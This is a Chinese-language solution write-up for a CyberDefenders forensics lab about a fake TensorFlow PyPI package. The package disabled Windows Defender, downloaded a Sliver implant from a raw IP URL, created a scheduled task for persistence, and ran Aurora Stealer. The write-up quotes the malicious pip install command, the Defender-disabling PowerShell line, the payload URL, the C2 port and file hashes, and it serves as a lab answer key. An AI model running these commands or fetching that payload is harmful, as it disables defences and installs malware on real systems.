[CyberDefenders 技术解析] 恶意 PyPi(从 pip 到 Sliver 和 Aurora 窃取器)
场景
作为一名SOC分析师,你需要检查用户收件箱中收到的一份可疑文档。你的同事说他没发现任何异常,但将该文档放入沙箱环境后触发了一些警报。你的任务是进一步调查该文档,并确认它是否为恶意文档。
分类:端点取证
工具:
- EZ Tools
- DB Browser for SQLite
- Strings
- Event Log Explorer
在本实验中,我们将分析从C盘收集的Windows artifacts。根据实验名称,很明显我们正在处理一个因安装恶意PyPi包而导致系统被入侵的案件。
问题与解答
Q1:Dr. Alex Rivera 最近下载了一个外部库,引发了对系统安全的怀疑。你能找出用于这次下载的具体命令吗?
在讨论Python包(PyPi)时,我们会涉及pip。有两种主要方式可以获取使用pip安装恶意包的命令:
-
查看特定用户的
ConsoleHost_history.txt。这里只有Administrator用户,我检查了存储每个用户PowerShell命令行历史的控制台主机历史记录,发现通过pip从a1l4m(本实验作者)的GitHub安装了Python包。仓库名称表明Dr. Alex Rivera认为这可能是合法的TensorFlow包,结果导致机器被入侵。 -
查看命令行日志(如果启用)。遗憾的是,该系统未启用此功能,这在意料之中,因为a1l4m是实验作者。
命令:
pip install git+https://github.com/a1l4m/TensorFlow.git#egg=TensorFlow
Q2:调查过程中,你发现一个修改系统安全设置的命令,导致Windows Defender被禁用。这是什么命令?
由于有Prefetch文件可用于创建每个.exe文件的执行时间线,我使用了Eric Zimmerman工具集中的PECmd来解析整个Prefetch文件夹,查看pip可执行文件的执行时间。可以看到在2024-02-25 12:15至12:23期间有4次pip.exe执行。我还注意到setup.exe非常突出,因为它是从假TensorFlow包的pip安装所创建的临时文件夹中执行的。
命令:
PECmd.exe -d "C:\Users\Administrator\Desktop\Start Here\Artifacts\C\Windows\prefetch" --csv .
接下来我解析了整个Windows事件日志文件夹(严格来说只应解析PowerShell相关日志),生成一个新的CSV文件,可通过Timeline Explorer打开,便于使用过滤器查找特定事件。我关注的是PowerShell日志,恶意包可能在其中运行PowerShell命令来禁用Windows Defender的实时监控。可以看到在2024-02-26 12:22,执行了Set-MpPreference -DisableRealtimeMonitoring $true,这与我们之前在Prefetch中发现的pip执行时间一致。
命令:
EvtxECmd.exe -d "C:\Users\Administrator\Desktop\Start Here\Artifacts\C\Windows\System32\winevt\logs" --csv . --csvf log_timeline.csv
执行的命令:
Set-MpPreference -DisableRealtimeMonitoring $true
Q3:根据时间线分析,你首次观察到导致Windows Defender被禁用的未经授权安全设置更改发生在什么日期和时间?
2024-02-26 12:22
Q4:安全设置被入侵后,系统上出现了一个新文件。这个文件的MD5哈希值是多少?
从Prefetch时间线可以看到,假TensorFlow包的临时安装文件夹中有两个setup.exe被执行。我们可以生成其中任意一个的哈希值来得到答案。我在VirusTotal上搜索该哈希值(5f8212f95007a5aceb61d3be86c7d1bdb03980ae8a3bd822c847d4c83c528330),结果显示这是Sliver植入体,一旦执行就会负责与威胁行为者建立反向shell连接。
MD5哈希:
23aadf3c98745cf293bff6b1b0980429
Q5:调查服务器上检测到的恶意文件的来源。在与外部C2服务器通信之前,该文件最初是从哪个确切URL下载的?
在Windows工作站上,使用pip安装包时,会在C:\Users\<用户名>\AppData\Local\Temp\中创建临时文件。我们可以在VS Code中打开整个文件夹,使用“在文件中查找”功能搜索sliver植入体的文件名,结果找到了用于下载并执行sliver植入体的Python脚本。
下载URL:
http://3.66.85.252:8000/file.exe
Q6:上一个问题中的文件开始与外部C2服务器通信。该通信使用了哪个端口?
我们回到VirusTotal,进入“Behavior”标签页,找到用于反向shell连接的端口。
端口:
8888
Q7:攻击者通常通过持久化机制来确保他们对入侵系统的持续访问。这个机制在Dr. Rivera的系统中是何时建立的?
我再次检查Prefetch时间线,寻找容易发现的可疑项,如reg.exe或schtasks.exe的执行。可以看到在2024-02-26 12:36执行了schtasks.exe,因此我们需要查看这个时间段创建的计划任务。
通过检查Windows\System32\Tasks文件夹,可以看到一个名为“SystemUpdatesDaily”的可疑任务,其修改日期与schtasks.exe执行时间戳相同。查看任务配置文件,可以看到该计划任务将在系统启动时以最高权限(系统权限)执行sliver植入体。确认计划任务创建时间为12:36。
持久化建立时间:
2024-02-26 12:36
Q8:攻击者完成入侵后,在主机系统上留下了一个特定文件。根据你收集的信息,提供该文件的名称。该文件是在攻击者建立持久化后不久创建的。
在Prefetch时间线上,我还注意到system.exe的执行,这不是Windows上的标准可执行文件。我们计算该文件的哈希值,可以看到其修改日期在事件时间范围内,因此该文件是在事件期间创建的(可以与MFT和UsnJournal中的文件创建事件关联)。在VirusTotal上搜索该哈希值后,确认这是一个恶意文件,威胁标签将其标识为Aurora Stealer。
文件名:
system.exe
Q9:确定问题8中识别的恶意文件开始运行的确切时刻。它第一次被执行是什么时候?
从Prefetch时间线可以看到,该文件的第一次执行时间为12:42。
首次执行时间:
2024-02-26 12:42
Q10:识别出问题8中的恶意文件后,确定其恶意软件家族名称至关重要。该恶意软件家族名称是什么?
根据流行的威胁标签,我们也可以在社区标签页看到许多恶意软件沙箱也将其标记为Aurora Stealer。
恶意软件家族名称:
Aurora
CSD0tFqvECLokhw9aBeRqpNzLTXFlojmzFn6OlyTg9XWnhAP6q5FfiGb63VkvyGK4Ts3fFgibXiazrLEdjF1SLWRkmZG8toxbNpAbUM74/kzMRNdLOahR4saFgOpa9EOQEw+1x7NmlRnEAvVbzcj2a4vGpy1VmCzljt2Wfxl0cM=